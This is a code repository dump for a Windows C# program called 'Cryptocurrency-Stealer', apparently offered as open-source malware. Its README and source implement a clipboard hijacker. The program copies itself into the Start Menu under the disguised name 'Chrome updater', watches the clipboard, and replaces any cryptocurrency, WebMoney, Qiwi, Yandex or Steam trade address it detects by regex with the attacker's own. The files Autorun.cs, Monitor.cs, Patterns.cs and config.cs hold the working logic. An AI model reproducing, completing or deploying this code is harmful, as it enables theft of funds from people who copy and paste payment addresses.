├── Stealer ├── Stealer │ ├── App.config │ ├── Properties │ │ ├── Settings.settings │ │ ├── Settings.Designer.cs │ │ ├── AssemblyInfo.cs │ │ ├── Resources.Designer.cs │ │ └── Resources.resx │ ├── Modules │ │ ├── Mutex.cs │ │ ├── Attributes.cs │ │ ├── Autorun.cs │ │ ├── Clipboard.cs │ │ ├── Monitor.cs │ │ └── Patterns.cs │ ├── Program.cs │ ├── config.cs │ └── Stealer.csproj └── Stealer.sln ├── README.md └── .gitignore /Stealer/Stealer/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Stealer/Stealer/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # :money_with_wings: Cryptocurrency-Stealer 2 | Replace any BTC, XMR, XLM, ETH, XRP, LTC, BCH, NEC, ZCASH, DASH, DOGE, WMR, WMG, WMX, Yandex money, Qiwi address to yours. 3 | 4 | # :star2: Info 5 | - [X] 10-13~ kilobytes executable 6 | - [X] No admininistrator rights required 7 | - [X] Hide file after start 8 | - [X] Autorun 9 | - [X] Open source 10 | 11 | # :gear: Configuration file 12 |

13 | 14 |

15 | -------------------------------------------------------------------------------- /Stealer/Stealer/Modules/Mutex.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Threading; 3 | 4 | namespace Stealer.Modules 5 | { 6 | class AppMutex 7 | { 8 | // Check mutex 9 | public static void Check() 10 | { 11 | bool createdNew = false; 12 | // Check 13 | Mutex currentApp = new Mutex(false, config.mutex, out createdNew); 14 | if (!createdNew) 15 | Environment.Exit(1); 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /Stealer/Stealer/Modules/Attributes.cs: -------------------------------------------------------------------------------- 1 | using System.IO; 2 | 3 | namespace Stealer.Modules 4 | { 5 | internal sealed class Attributes 6 | { 7 | // File path 8 | private static string executable = System.Reflection.Assembly.GetEntryAssembly().Location; 9 | private static FileInfo file = new FileInfo(executable); 10 | 11 | // Add 'hidden' attribute to file 12 | public static void set_hidden() 13 | { 14 | if (config.attribute_hidden) 15 | file.Attributes |= FileAttributes.Hidden; 16 | } 17 | 18 | // Add 'system' attribute to file 19 | public static void set_system() 20 | { 21 | if (config.attribute_system) 22 | file.Attributes |= FileAttributes.System; 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /Stealer/Stealer/Modules/Autorun.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | 4 | namespace Stealer.Modules 5 | { 6 | internal sealed class Autorun 7 | { 8 | // Autorun path 9 | private static string startup_directory = Environment.GetFolderPath(Environment.SpecialFolder.StartMenu); 10 | private static string executeable = System.Reflection.Assembly.GetEntryAssembly().Location; 11 | 12 | // Check if app installed to autorun 13 | 14 | public static bool is_installed() 15 | { 16 | return File.Exists($"{startup_directory}\\{config.autorun_name}.exe"); 17 | } 18 | 19 | // Install app to autorun 20 | public static void install() 21 | { 22 | if (config.autorun_enabled) 23 | File.Copy(executeable, $"{startup_directory}\\{config.autorun_name}.exe"); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Stealer/Stealer/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace Stealer 4 | { 5 | static class Program 6 | { 7 | ///

8 | /// The main entry point for the application. 9 | /// 10 | [STAThreadAttribute] 11 | static void Main() 12 | { 13 | // Check mutex 14 | Modules.AppMutex.Check(); 15 | // Add to startup 16 | if (!Modules.Autorun.is_installed()) 17 | Modules.Autorun.install(); 18 | 19 | /* The functions are disabled because if the file is in the startup folder and it is hidden, 20 | then it will not be launched. 21 | // Set hidden & system attribtues 22 | Modules.Attributes.set_hidden(); 23 | Modules.Attributes.set_system(); */ 24 | 25 | // Start clipper 26 | Modules.ClipboardMonitor.run(); 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /Stealer/Stealer.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31129.286 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Stealer", "Stealer\Stealer.csproj", "{A5261687-D821-486A-B2AC-4D35F1EA2540}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {A5261687-D821-486A-B2AC-4D35F1EA2540}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {A5261687-D821-486A-B2AC-4D35F1EA2540}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {A5261687-D821-486A-B2AC-4D35F1EA2540}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {A5261687-D821-486A-B2AC-4D35F1EA2540}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {0A2B5562-F114-43D7-9E79-A05BDB426BDD} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Stealer/Stealer/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | 12 | namespace Stealer.Properties 13 | { 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 17 | { 18 | 19 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 20 | 21 | public static Settings Default 22 | { 23 | get 24 | { 25 | return defaultInstance; 26 | } 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /Stealer/Stealer/Modules/Clipboard.cs: -------------------------------------------------------------------------------- 1 | using System.Threading; 2 | 3 | namespace Stealer.Modules 4 | { 5 | internal sealed class Clipboard 6 | { 7 | // Get text from clipboard 8 | public static string GetText() 9 | { 10 | string ReturnValue = string.Empty; 11 | try 12 | { 13 | Thread STAThread = new Thread( 14 | delegate () 15 | { 16 | ReturnValue = System.Windows.Forms.Clipboard.GetText(); 17 | }); 18 | STAThread.SetApartmentState(ApartmentState.STA); 19 | STAThread.Start(); 20 | STAThread.Join(); 21 | } 22 | catch 23 | { 24 | 25 | } 26 | return ReturnValue; 27 | } 28 | 29 | // Set text to clipboard 30 | public static void SetText(string text) 31 | { 32 | Thread STAThread = new Thread( 33 | delegate () 34 | { 35 | try 36 | { 37 | System.Windows.Forms.Clipboard.SetText(text); 38 | } 39 | catch 40 | { 41 | 42 | } 43 | }); 44 | STAThread.SetApartmentState(ApartmentState.STA); 45 | STAThread.Start(); 46 | STAThread.Join(); 47 | } 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /Stealer/Stealer/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Stealer")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Stealer")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("a5261687-d821-486a-b2ac-4d35f1ea2540")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Stealer/Stealer/Modules/Monitor.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Text.RegularExpressions; 3 | 4 | namespace Stealer.Modules 5 | { 6 | internal sealed class ClipboardMonitor 7 | { 8 | // Previous clipboard content 9 | private static string previous_buffer = ""; 10 | 11 | // Clipboard is changed 12 | private static bool clipboard_changed(string buffer) 13 | { 14 | if (buffer != previous_buffer) 15 | { 16 | previous_buffer = buffer; 17 | return true; 18 | } 19 | return false; 20 | } 21 | 22 | // Find & Replace crypto addresses in clipboard 23 | private static void replace_clipboard(string buffer) 24 | { 25 | if (string.IsNullOrEmpty(buffer)) 26 | return; 27 | foreach (KeyValuePair dictonary in RegexPatterns.patterns) 28 | { 29 | string cryptocurrency = dictonary.Key; 30 | Regex pattern = dictonary.Value; 31 | if (pattern.Match(buffer).Success) 32 | { 33 | string replace_to = config.addresses[cryptocurrency]; 34 | if (!string.IsNullOrEmpty(replace_to) && !buffer.Equals(replace_to)) 35 | { 36 | Clipboard.SetText(replace_to); 37 | return; 38 | } 39 | } 40 | } 41 | } 42 | 43 | // Run loop 44 | public static void run() 45 | { 46 | while (true) 47 | { 48 | string buffer = Clipboard.GetText(); 49 | if (clipboard_changed(buffer)) 50 | replace_clipboard(buffer); 51 | System.Threading.Thread.Sleep(config.clipboard_check_delay * 1000); 52 | } 53 | } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /Stealer/Stealer/config.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace Stealer 8 | { 9 | internal sealed class config 10 | { 11 | // Autorun 12 | public static bool autorun_enabled = true; 13 | public static string autorun_name = "Chrome updater"; 14 | // Set 'hidden' attribute 15 | public static bool attribute_hidden = true; 16 | // Set 'system' attribute 17 | public static bool attribute_system = true; 18 | // Clipboard check delay in seconds 19 | public static int clipboard_check_delay = 2; 20 | // Replace to 21 | public static Dictionary addresses = new Dictionary() 22 | { 23 | // WebMoney 24 | {"wmr", "" }, 25 | {"wmg", "" }, 26 | {"wmz", "" }, 27 | {"wmh", "" }, 28 | {"wmu", "" }, 29 | {"wmx", "" }, 30 | 31 | // Qiwi 32 | {"qiwiua", "" }, // UA 33 | {"qiwiru", "" }, // RU 34 | 35 | // Yandex money 36 | {"yandex", "" }, 37 | 38 | // Steam trade url 39 | {"steam", "" }, 40 | 41 | // Cryptocurrency 42 | {"btc", "" }, // Bitcoin 43 | {"eth", "" }, // Ethereum 44 | {"xmr", "" }, // Monero 45 | {"xlm", "" }, // Stellar 46 | {"xrp", "" }, // Ripple 47 | {"ltc", "" }, // Litecoin 48 | {"nec", "" }, // Neocoin 49 | {"bch", "" }, // Bitcoin Cash 50 | {"bcn", "" }, // Bytecoin 51 | {"ada", "" }, // Cardano 52 | {"grft", "" }, // Graft 53 | {"zcash", ""}, // Zcash 54 | {"btg", "" }, // Bitcoin Gold 55 | {"waves", "" }, // Waves 56 | {"rdd", "" }, // ReddCoin 57 | {"blk", "" }, // BlackCoin 58 | {"emc", "" }, // Emercoin 59 | {"strat", "" }, // Stratis 60 | {"qtum", "" }, // Qtum 61 | {"via", "" }, // Viacoin 62 | {"lsk", "" }, // Lisk 63 | {"doge", "" }, // Dogecoin 64 | {"dash", "" } // Dashcoin 65 | }; 66 | 67 | // Mutex (random) 68 | public static string mutex = "asuhdvaystdvytasdvtyasvdfctyasd"; 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /Stealer/Stealer/Modules/Patterns.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Text.RegularExpressions; 3 | 4 | namespace Stealer.Modules 5 | { 6 | internal sealed class RegexPatterns 7 | { 8 | public static Dictionary patterns = new Dictionary() 9 | { 10 | // WebMoney 11 | {"wmr", new Regex(@"R[0-9]{12}") }, 12 | {"wmg", new Regex(@"G[0-9]{12}") }, 13 | {"wmz", new Regex(@"Z[0-9]{12}") }, 14 | {"wmh", new Regex(@"H[0-9]{12}") }, 15 | {"wmu", new Regex(@"U[0-9]{12}") }, 16 | {"wmx", new Regex(@"X[0-9]{12}") }, 17 | // Qiwi 18 | {"qiwiua", new Regex(@"380[0-9]{9}") }, // UA 19 | {"qiwiru", new Regex(@"79[0-9]{9}") }, // RU 20 | // Yandex money 21 | {"yandex", new Regex(@"41001[0-9]{10}") }, 22 | // Steam trade url 23 | {"steam", new Regex(@"steamcommunity[.]com/tradeoffer/new/[?]partner=[0-9]{9}&token=[A-z0-9_]{8}") }, 24 | // Cryptocurrency 25 | {"btc", new Regex(@"(?:^(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}$)") }, // Bitcoin 26 | {"eth", new Regex(@"(?:^0x[a-fA-F0-9]{40}$)") }, // Ethereum 27 | {"xmr", new Regex(@"(?:^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$)") }, // Monero 28 | {"xlm", new Regex(@"(?:^G[0-9a-zA-Z]{55}$)") }, // Stellar 29 | {"xrp", new Regex(@"(?:^r[0-9a-zA-Z]{24,34}$)") }, // Ripple 30 | {"ltc", new Regex(@"(?:^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$)") }, // Litecoin 31 | {"nec", new Regex(@"(?:^A[0-9a-zA-Z]{33}$)") }, // Neocoin 32 | {"bch", new Regex(@"^((bitcoincash:)?(q|p)[a-z0-9]{41})") }, // Bitcoin Cash 33 | {"bcn", new Regex(@"2[1-9A-z]{105}") }, // Bytecoin 34 | {"ada", new Regex(@"DdzFFzCqrht[1-9A-z]{93}") }, // Cardano 35 | {"grft", new Regex(@"G[1-9][1-9A-z]{93}") }, // Graft 36 | {"zcash", new Regex(@"t1[0-9A-z]{33}") }, // Zcash 37 | {"btg", new Regex(@"G[A-z][1-9A-z]{32}") }, // Bitcoin Gold 38 | {"waves", new Regex(@"3P[1-9A-z]{33}") }, // Waves 39 | {"rdd", new Regex(@"R[1-9a-z][1-9A-z]{32}") }, // ReddCoin 40 | {"blk", new Regex(@"B[1-9a-z][1-9A-z]{32}") }, // BlackCoin 41 | {"emc", new Regex(@"E[A-z][1-9A-z]{32}") }, // Emercoin 42 | {"strat", new Regex(@"S[A-z][1-9A-z]{32}") }, // Stratis 43 | {"qtum", new Regex(@"Q[A-z][1-9A-z]{32}") }, // Qtum 44 | {"via", new Regex(@"V[a-z][A-z][1-9A-z]{31}") }, // Viacoin 45 | {"lsk", new Regex(@"[0-9]{20}L") }, // Lisk 46 | {"doge", new Regex(@"D[A-Z1-9][1-9A-z]{32}") }, // Dogecoin 47 | {"dash", new Regex(@"(?:^X[1-9A-HJ-NP-Za-km-z]{33}$)") } // Dashcoin 48 | }; 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /Stealer/Stealer/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | 12 | namespace Stealer.Properties 13 | { 14 | /// 15 | /// A strongly-typed resource class, for looking up localized strings, etc. 16 | /// 17 | // This class was auto-generated by the StronglyTypedResourceBuilder 18 | // class via a tool like ResGen or Visual Studio. 19 | // To add or remove a member, edit your .ResX file then rerun ResGen 20 | // with the /str option, or rebuild your VS project. 21 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 22 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 23 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 24 | internal class Resources 25 | { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() 33 | { 34 | } 35 | 36 | /// 37 | /// Returns the cached ResourceManager instance used by this class. 38 | /// 39 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 40 | internal static global::System.Resources.ResourceManager ResourceManager 41 | { 42 | get 43 | { 44 | if ((resourceMan == null)) 45 | { 46 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Stealer.Properties.Resources", typeof(Resources).Assembly); 47 | resourceMan = temp; 48 | } 49 | return resourceMan; 50 | } 51 | } 52 | 53 | /// 54 | /// Overrides the current thread's CurrentUICulture property for all 55 | /// resource lookups using this strongly typed resource class. 56 | /// 57 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 58 | internal static global::System.Globalization.CultureInfo Culture 59 | { 60 | get 61 | { 62 | return resourceCulture; 63 | } 64 | set 65 | { 66 | resourceCulture = value; 67 | } 68 | } 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /Stealer/Stealer/Stealer.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {A5261687-D821-486A-B2AC-4D35F1EA2540} 8 | WinExe 9 | Stealer 10 | Stealer 11 | v4.5.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | ResXFileCodeGenerator 60 | Resources.Designer.cs 61 | Designer 62 | 63 | 64 | True 65 | Resources.resx 66 | 67 | 68 | SettingsSingleFileGenerator 69 | Settings.Designer.cs 70 | 71 | 72 | True 73 | Settings.settings 74 | True 75 | 76 | 77 | 78 | 79 | 80 | 81 | -------------------------------------------------------------------------------- /Stealer/Stealer/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | text/microsoft-resx 107 | 108 | 109 | 2.0 110 | 111 | 112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 113 | 114 | 115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Aa][Rr][Mm]/ 27 | [Aa][Rr][Mm]64/ 28 | bld/ 29 | [Bb]in/ 30 | [Oo]bj/ 31 | [Ll]og/ 32 | [Ll]ogs/ 33 | 34 | # Visual Studio 2015/2017 cache/options directory 35 | .vs/ 36 | # Uncomment if you have tasks that create the project's static files in wwwroot 37 | #wwwroot/ 38 | 39 | # Visual Studio 2017 auto generated files 40 | Generated\ Files/ 41 | 42 | # MSTest test Results 43 | [Tt]est[Rr]esult*/ 44 | [Bb]uild[Ll]og.* 45 | 46 | # NUnit 47 | *.VisualState.xml 48 | TestResult.xml 49 | nunit-*.xml 50 | 51 | # Build Results of an ATL Project 52 | [Dd]ebugPS/ 53 | [Rr]eleasePS/ 54 | dlldata.c 55 | 56 | # Benchmark Results 57 | BenchmarkDotNet.Artifacts/ 58 | 59 | # .NET Core 60 | project.lock.json 61 | project.fragment.lock.json 62 | artifacts/ 63 | 64 | # StyleCop 65 | StyleCopReport.xml 66 | 67 | # Files built by Visual Studio 68 | *_i.c 69 | *_p.c 70 | *_h.h 71 | *.ilk 72 | *.meta 73 | *.obj 74 | *.iobj 75 | *.pch 76 | *.pdb 77 | *.ipdb 78 | *.pgc 79 | *.pgd 80 | *.rsp 81 | *.sbr 82 | *.tlb 83 | *.tli 84 | *.tlh 85 | *.tmp 86 | *.tmp_proj 87 | *_wpftmp.csproj 88 | *.log 89 | *.vspscc 90 | *.vssscc 91 | .builds 92 | *.pidb 93 | *.svclog 94 | *.scc 95 | 96 | # Chutzpah Test files 97 | _Chutzpah* 98 | 99 | # Visual C++ cache files 100 | ipch/ 101 | *.aps 102 | *.ncb 103 | *.opendb 104 | *.opensdf 105 | *.sdf 106 | *.cachefile 107 | *.VC.db 108 | *.VC.VC.opendb 109 | 110 | # Visual Studio profiler 111 | *.psess 112 | *.vsp 113 | *.vspx 114 | *.sap 115 | 116 | # Visual Studio Trace Files 117 | *.e2e 118 | 119 | # TFS 2012 Local Workspace 120 | $tf/ 121 | 122 | # Guidance Automation Toolkit 123 | *.gpState 124 | 125 | # ReSharper is a .NET coding add-in 126 | _ReSharper*/ 127 | *.[Rr]e[Ss]harper 128 | *.DotSettings.user 129 | 130 | # TeamCity is a build add-in 131 | _TeamCity* 132 | 133 | # DotCover is a Code Coverage Tool 134 | *.dotCover 135 | 136 | # AxoCover is a Code Coverage Tool 137 | .axoCover/* 138 | !.axoCover/settings.json 139 | 140 | # Visual Studio code coverage results 141 | *.coverage 142 | *.coveragexml 143 | 144 | # NCrunch 145 | _NCrunch_* 146 | .*crunch*.local.xml 147 | nCrunchTemp_* 148 | 149 | # MightyMoose 150 | *.mm.* 151 | AutoTest.Net/ 152 | 153 | # Web workbench (sass) 154 | .sass-cache/ 155 | 156 | # Installshield output folder 157 | [Ee]xpress/ 158 | 159 | # DocProject is a documentation generator add-in 160 | DocProject/buildhelp/ 161 | DocProject/Help/*.HxT 162 | DocProject/Help/*.HxC 163 | DocProject/Help/*.hhc 164 | DocProject/Help/*.hhk 165 | DocProject/Help/*.hhp 166 | DocProject/Help/Html2 167 | DocProject/Help/html 168 | 169 | # Click-Once directory 170 | publish/ 171 | 172 | # Publish Web Output 173 | *.[Pp]ublish.xml 174 | *.azurePubxml 175 | # Note: Comment the next line if you want to checkin your web deploy settings, 176 | # but database connection strings (with potential passwords) will be unencrypted 177 | *.pubxml 178 | *.publishproj 179 | 180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 181 | # checkin your Azure Web App publish settings, but sensitive information contained 182 | # in these scripts will be unencrypted 183 | PublishScripts/ 184 | 185 | # NuGet Packages 186 | *.nupkg 187 | # NuGet Symbol Packages 188 | *.snupkg 189 | # The packages folder can be ignored because of Package Restore 190 | **/[Pp]ackages/* 191 | # except build/, which is used as an MSBuild target. 192 | !**/[Pp]ackages/build/ 193 | # Uncomment if necessary however generally it will be regenerated when needed 194 | #!**/[Pp]ackages/repositories.config 195 | # NuGet v3's project.json files produces more ignorable files 196 | *.nuget.props 197 | *.nuget.targets 198 | 199 | # Microsoft Azure Build Output 200 | csx/ 201 | *.build.csdef 202 | 203 | # Microsoft Azure Emulator 204 | ecf/ 205 | rcf/ 206 | 207 | # Windows Store app package directories and files 208 | AppPackages/ 209 | BundleArtifacts/ 210 | Package.StoreAssociation.xml 211 | _pkginfo.txt 212 | *.appx 213 | *.appxbundle 214 | *.appxupload 215 | 216 | # Visual Studio cache files 217 | # files ending in .cache can be ignored 218 | *.[Cc]ache 219 | # but keep track of directories ending in .cache 220 | !?*.[Cc]ache/ 221 | 222 | # Others 223 | ClientBin/ 224 | ~$* 225 | *~ 226 | *.dbmdl 227 | *.dbproj.schemaview 228 | *.jfm 229 | *.pfx 230 | *.publishsettings 231 | orleans.codegen.cs 232 | 233 | # Including strong name files can present a security risk 234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 235 | #*.snk 236 | 237 | # Since there are multiple workflows, uncomment next line to ignore bower_components 238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 239 | #bower_components/ 240 | 241 | # RIA/Silverlight projects 242 | Generated_Code/ 243 | 244 | # Backup & report files from converting an old project file 245 | # to a newer Visual Studio version. Backup files are not needed, 246 | # because we have git ;-) 247 | _UpgradeReport_Files/ 248 | Backup*/ 249 | UpgradeLog*.XML 250 | UpgradeLog*.htm 251 | ServiceFabricBackup/ 252 | *.rptproj.bak 253 | 254 | # SQL Server files 255 | *.mdf 256 | *.ldf 257 | *.ndf 258 | 259 | # Business Intelligence projects 260 | *.rdl.data 261 | *.bim.layout 262 | *.bim_*.settings 263 | *.rptproj.rsuser 264 | *- [Bb]ackup.rdl 265 | *- [Bb]ackup ([0-9]).rdl 266 | *- [Bb]ackup ([0-9][0-9]).rdl 267 | 268 | # Microsoft Fakes 269 | FakesAssemblies/ 270 | 271 | # GhostDoc plugin setting file 272 | *.GhostDoc.xml 273 | 274 | # Node.js Tools for Visual Studio 275 | .ntvs_analysis.dat 276 | node_modules/ 277 | 278 | # Visual Studio 6 build log 279 | *.plg 280 | 281 | # Visual Studio 6 workspace options file 282 | *.opt 283 | 284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 285 | *.vbw 286 | 287 | # Visual Studio LightSwitch build output 288 | **/*.HTMLClient/GeneratedArtifacts 289 | **/*.DesktopClient/GeneratedArtifacts 290 | **/*.DesktopClient/ModelManifest.xml 291 | **/*.Server/GeneratedArtifacts 292 | **/*.Server/ModelManifest.xml 293 | _Pvt_Extensions 294 | 295 | # Paket dependency manager 296 | .paket/paket.exe 297 | paket-files/ 298 | 299 | # FAKE - F# Make 300 | .fake/ 301 | 302 | # CodeRush personal settings 303 | .cr/personal 304 | 305 | # Python Tools for Visual Studio (PTVS) 306 | __pycache__/ 307 | *.pyc 308 | 309 | # Cake - Uncomment if you are using it 310 | # tools/** 311 | # !tools/packages.config 312 | 313 | # Tabs Studio 314 | *.tss 315 | 316 | # Telerik's JustMock configuration file 317 | *.jmconfig 318 | 319 | # BizTalk build output 320 | *.btp.cs 321 | *.btm.cs 322 | *.odx.cs 323 | *.xsd.cs 324 | 325 | # OpenCover UI analysis results 326 | OpenCover/ 327 | 328 | # Azure Stream Analytics local run output 329 | ASALocalRun/ 330 | 331 | # MSBuild Binary and Structured Log 332 | *.binlog 333 | 334 | # NVidia Nsight GPU debugger configuration file 335 | *.nvuser 336 | 337 | # MFractors (Xamarin productivity tool) working folder 338 | .mfractor/ 339 | 340 | # Local History for Visual Studio 341 | .localhistory/ 342 | 343 | # BeatPulse healthcheck temp database 344 | healthchecksdb 345 | 346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 347 | MigrationBackup/ 348 | 349 | # Ionide (cross platform F# VS Code tools) working folder 350 | .ionide/ 351 | --------------------------------------------------------------------------------